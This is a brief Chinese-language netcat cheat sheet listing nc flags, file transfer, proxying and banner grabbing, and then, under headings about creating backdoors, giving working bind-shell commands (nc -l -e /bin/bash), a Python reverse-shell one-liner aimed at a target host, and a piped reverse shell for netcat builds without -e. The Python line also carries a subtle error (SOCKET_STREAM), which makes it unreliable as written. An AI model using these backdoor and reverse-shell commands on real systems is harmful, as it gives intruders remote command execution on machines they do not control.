NC
一些常用、简单、有趣的东西
网络命令行工具,主要用于 TCP、UDP、UNIX 域套接字 相关的操作
参数:
-p # 端口
-z # 0输入/输出模式
-l # 监听模式
-L # 客户端断开,服务端依旧回到等待状态
-w # 超时,默认秒; 毫秒:100ms
-u # 使用 udp
-v # 显示指令执行过程(交互或出错信息)
-s # 指定发送数据的源IP(多网卡机)
-d # 脱离命令窗口,在后台运行,建立后门可用
-e # 常用于建立后门
# ----------------------以上常用----------------------
-n # 直接使用 IP 地址,不使用 DNS 解析
-o # 指定输出文件名称
-i # 时间间隔
-G # 来源路由指向器数目
-g # 网关
创建后门 系统中创建后门执行bash命令的服务
-e # 使用 /bin/bash
-c # 使用 /bin/sh
nc -l 8456 -e /bin/bash nc 127.0.0.1 8456 # 后续可在连接端使用被连接端系统指令
# window 使用 -e cmd.exe -- 返回给客户端的东西
传输文件
nc -l 8456 > filename
nc ip port < filename
设置代理/转接
nc -l 8456 -c "nc 192.168.49.39 8444"
banner 信息抓取
echo "" | nc -lvw 2 192.168.49.39 1-100
通过 python 实现反弹
只需靶机有 python 环境即可,一般都有,linux 自带有
# 修改 ip 和 port
python -c "import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCKET_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
nc -lvp 8456
不支持 -e 的情况实现反弹
nc ip port1 | /bin/bash | nc ip port2
# 攻击端开两个命令行监听,一个作为输入,一个作为输出
nc -l ip port1 nc -l ip port2
# 靶机为连接端, nc ip port1 | /bin/bash | nc ip port2